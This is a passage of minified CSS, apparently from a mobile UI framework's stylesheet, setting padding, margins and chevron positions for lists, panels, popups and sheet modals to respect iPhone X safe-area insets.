.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{background-position:calc(100% - 15px - constant(safe-area-inset-right)) center;background-position:calc(100% - 15px - env(safe-area-inset-right)) center}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row{padding-right:0}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) 